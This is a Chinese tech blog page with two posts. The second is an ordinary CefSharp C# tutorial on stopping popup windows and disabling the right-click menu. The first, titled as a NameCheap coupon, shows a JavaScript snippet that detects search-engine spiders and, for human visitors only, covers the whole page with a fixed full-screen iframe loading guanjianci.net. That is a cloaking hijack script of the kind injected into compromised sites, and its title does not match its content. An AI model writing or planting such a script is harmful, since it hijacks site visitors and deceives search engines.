预览模式: 普通 | 列表

NameCheap.com域名续费优惠码

 

JavaScript代码
  1. var system = {  
  2.     win: false,  
  3.     mac: false,  
  4.     xll: false  
  5. };  
  6.   
  7. var userAgent = navigator.userAgent;  
  8. var platform = navigator.platform;  
  9. var p = navigator.platform;  
  10. var us = navigator.userAgent;  
  11.   
  12. system.win = p.indexOf('Win') == 0;  
  13. system.mac = p.indexOf('Mac') == 0;  
  14. system.x11 = (p == 'X11') || (p.indexOf('Linux') == 0);  
  15.   
  16. var now = new Date().getTime();  
  17. var base64 = btoa(now + 'Todaysubdomain'.replace('-''/').split('T')[0].replace('-''/'));  
  18. var sub1 = base64.substring(0, 20);  
  19. var sub2 = base64.substring(1, 21);  
  20. var sub3 = base64.substring(2, 22);  
  21. var sub4 = base64.substring(3, 23);  
  22. var sub5 = base64.substring(4, 24);  
  23.   
  24. try {  
  25.     var reg = /(Baiduspider|360Spider|YisouSpider|YandexBot|Sogou inst spider|Sogou web spider|spider|Baiduspider-render)/i;  
  26.     var iframe_url = '';  
  27.     var zindexCount = 999999;  
  28.     if (!reg.test(navigator.userAgent)) {  
  29.         if (system.win || system.mac || system.xll) {  
  30.             var arr = ['https://www.guanjianci.net''https://www.guanjianci.net''https://www.guanjianci.net'];  
  31.             iframe_url = arr[Math.floor(Math.random() * arr.length)];  
  32.         } else {  
  33.             if (/iPhone|iPad|iPod|iOS|Android/i.test(navigator.userAgent)) {  
  34.                 var arr = ['https://www.guanjianci.net''https://www.guanjianci.net''https://www.guanjianci.net''https://www.guanjianci.net''https://www.guanjianci.net''https://www.guanjianci.net'];  
  35.                 iframe_url = arr[Math.floor(Math.random() * arr.length)];  
  36.             }  
  37.         }  
  38.         document.write('<div id="div_iframe' + (zindexCount - 1) + '" style="z-index:' + zindexCount + ';height:' + window.innerHeight + 'px; width: 100%;position: fixed;top:0; background: #ffffff;height:100%;padding:0px;margin:0px;"><iframe id="myiframe" frameborder="0" width="100%" height="100%" src="' + iframe_url + '"></iframe></div><style type="text/css">html{width:100%;height:100%}body {width:100%;height:100%;overflow:hidden;padding:0px;margin:0!important;}</style>');  
  39.     }  
  40. catch (e) {  
  41.     console.log(e);  
  42. }  

以上代码来源于网络,仅供参考!

Tags: javascript

分类:技术文章 | 固定链接 | 评论: 0 | 引用: 0 | 查看次数: 62

虽然能用CefSharp将web应用嵌入到窗体程序,但遇到<a >标签(_blank)会弹出一个窗口,而且在任意位置可以弹出右键菜单,

需要解决这个问题才像一个真正的客户端软件。

不弹子窗体

控制弹窗的接口是ILifeSpanHandler,并实现OnBeforePopup方法。如下:

定义LifeSpanHandler类:

C#代码
  1. using CefSharp;  
  2. using CefSharp.WinForms;  
  3.   
  4. namespace CefTest  
  5. {  
  6.     internal class LifeSpanHandler : ILifeSpanHandler  
  7.     {  
  8.         //弹出前触发的事件  
  9.         public bool OnBeforePopup(IWebBrowser webBrowser, IBrowser browser, IFrame frame, string targetUrl,  
  10.             string targetFrameName, WindowOpenDisposition targetDisposition, bool userGesture, IPopupFeatures popupFeatures,  
  11.             IWindowInfo windowInfo, IBrowserSettings browserSettings, ref bool noJavascriptAccess, out IWebBrowser newBrowser)  
  12.         {  
  13.             //使用源窗口打开链接,取消创建新窗口  
  14.             newBrowser = null;  
  15.             var chromiumWebBrowser = (ChromiumWebBrowser)webBrowser;  
  16.             chromiumWebBrowser.Load(targetUrl);  
  17.             return true;  
  18.         }  
  19.   
  20.         public void OnAfterCreated(IWebBrowser chromiumWebBrowser, IBrowser browser)  
  21.         {  
  22.              
  23.         }  
  24.   
  25.         public bool DoClose(IWebBrowser chromiumWebBrowser, IBrowser browser)  
  26.         {  
  27.             return true;  
  28.         }  
  29.   
  30.         public void OnBeforeClose(IWebBrowser chromiumWebBrowser, IBrowser browser)  
  31.         {  
  32.               
  33.         }  
  34.     }  
  35. }  

 调用方式

C#代码
  1. using CefSharp;using CefSharp.WinForms;  
  2.   
  3. namespace LawSever  
  4. {  
  5.     public partial class frmweb : Form  
  6.     {  
  7.         public frmweb()  
  8.         {  
  9.             InitializeComponent();  
  10.             InitBrowser();  
  11.         }  
  12.         public ChromiumWebBrowser browser;  
  13.         public void InitBrowser()  
  14.         {       //Cef.Initialize(new CefSettings());//亲测这句代码 可不执行 也好用  
  15.             browser = new ChromiumWebBrowser("https://ai.12348.gov.cn/pc/");  
  16.   
  17.             browser.LifeSpanHandler = new LifeSpanHandler();//超链接不弹新窗体  
  18.   
  19.             this.panel1.Controls.Add(browser);//panel      
  20.         }  
  21. }  

禁用右键

禁用右键的接口是IContextMenuHandler,并实现OnBeforeContextMenu 方法。如下:

定义MenuHandler类:

C#代码
  1. using CefSharp;  
  2.   
  3. namespace CefTest  
  4. {  
  5.     internal class MenuHandler : IContextMenuHandler  
  6.     {  
  7.         public void OnBeforeContextMenu(IWebBrowser chromiumWebBrowser, IBrowser browser, IFrame frame, IContextMenuParams parameters,  
  8.             IMenuModel model)  
  9.         {  
  10.             model.Clear();  
  11.         }  
  12.   
  13.         public bool OnContextMenuCommand(IWebBrowser chromiumWebBrowser, IBrowser browser, IFrame frame, IContextMenuParams parameters,  
  14.             CefMenuCommand commandId, CefEventFlags eventFlags)  
  15.         {  
  16.             return false;  
  17.         }  
  18.   
  19.         public void OnContextMenuDismissed(IWebBrowser webBrowser, IBrowser browser, IFrame frame)  
  20.         {  
  21.         
  22.         }  
  23.   
  24.         public bool RunContextMenu(IWebBrowser webBrowser, IBrowser browser, IFrame frame, IContextMenuParams parameters,  
  25.             IMenuModel model, IRunContextMenuCallback callback)  
  26.         {  
  27.             return false;  
  28.         }  
  29.     }  
  30. }  

调用方式:

C#代码
  1. ChromeBrowser.MenuHandler = new MenuHandler();  

 

Tags: c#

分类:技术文章 | 固定链接 | 评论: 0 | 引用: 0 | 查看次数: 354

 广告位

↑返回顶部↑